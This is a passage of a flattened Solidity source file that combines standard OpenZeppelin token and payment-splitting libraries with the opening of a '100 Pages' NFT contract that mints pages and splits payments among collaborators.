SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/finance/PaymentSplitter.sol // OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol) pragma solidity ^0.8.0; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. * * NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and * tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you * to run tests before sending real value to this contract. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20 => uint256) private _erc20TotalReleased; mapping(IERC20 => mapping(address => uint256)) private _erc20Released; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20 token) public view returns (uint256) { return _erc20TotalReleased[token]; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20 token, address account) public view returns (uint256) { return _erc20Released[token][account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + totalReleased(); uint256 payment = _pendingPayment(account, totalReceived, released(account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] += payment; _totalReleased += payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20 token, address account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token); uint256 payment = _pendingPayment(account, totalReceived, released(token, account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _erc20Released[token][account] += payment; _erc20TotalReleased[token] += payment; SafeERC20.safeTransfer(token, account, payment); emit ERC20PaymentReleased(token, account, payment); } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { return (totalReceived * _shares[account]) / _totalShares - alreadyReleased; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/100-Pages-Token.sol pragma solidity ^0.8.2; contract Page is ERC721, ERC721Enumerable, Ownable, RoyaltiesV2Impl { event CollaboratorsChanged(address[] fromCollaboratorsAddress, address[] toCollaboratorsAddress, uint[] fromCollaboratorsSplit, uint[] toCollaboratorsSplit); event CollectorChanged(address from, address to, uint256 tokenId); event GiveawayReleased(address to, uint256 amount); event GiveawayReceived(address from, uint256 amount); using Counters for Counters.Counter; bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a; uint256 private _mintingPrice = 0.42 ether; uint256 private _totalReleased; string private _currentBaseURI; uint private _maxSupply; mapping(uint256 => uint256) private _released; mapping(uint => Counters.Counter) private _timesMinted; mapping(uint => bool) private _chapterOpenForMinting; address[] private _collaboratorsAddress = [0xDF5529D9AC4F342387a525B8495712967FD9dB83, 0x0AA457e8914618a5Fc26b4bc36B7B34385725883, 0x110920f43E2e4ff3F3dbcb839b70734d66bde8F2, address(this)]; uint[] private _collaboratorsSplit = [ // This is the initial split 21, // Token Collaborator 1 21, // Token Collaborator 2 42, // Artist 16 // Token Holder Community ]; CollaboratorsPaymentSplitter private _collaboratorsPaymentSplitter; constructor() ERC721("100 Pages", "PAGE") { _currentBaseURI = "https://batistaonthebeat.com/100pages/token/"; _collaboratorsPaymentSplitter = new CollaboratorsPaymentSplitter(_collaboratorsAddress, _collaboratorsSplit); } function mintPage(uint8 page) external payable { require(address(_collaboratorsPaymentSplitter) != address(0), "PagesToken: CollectorPaymentSplitter not set"); require(msg.value == _mintingPrice, "PagesToken: incorrect minting prince"); require(1 <= page && page <= 100, "PagesToken: page must be between 1 and 100"); uint chapter = getChapter(page); require(_chapterOpenForMinting[chapter] == true, "PagesToken: chapter is not opened for minting"); uint nOfHundred = _timesMinted[page].current(); require(nOfHundred < 100, "PagesToken: each page can only be minted 100 times"); uint256 tokenId = id(page, nOfHundred+1); safeMint(msg.sender, tokenId); _timesMinted[page].increment(); payable(_collaboratorsPaymentSplitter).transfer(_mintingPrice); // auto release to collaborators on mint _collaboratorsPaymentSplitter.release(payable(address(this))); } function safeMint(address to, uint256 tokenId) internal { _safeMint(to, tokenId); _setRoyalties(tokenId, payable(_collaboratorsPaymentSplitter), 1000); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); if (from != address(0) && _pendingGiveaway(tokenId) > 0){ changeCollector(from, to, tokenId); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit GiveawayReceived(_msgSender(), msg.value); } function 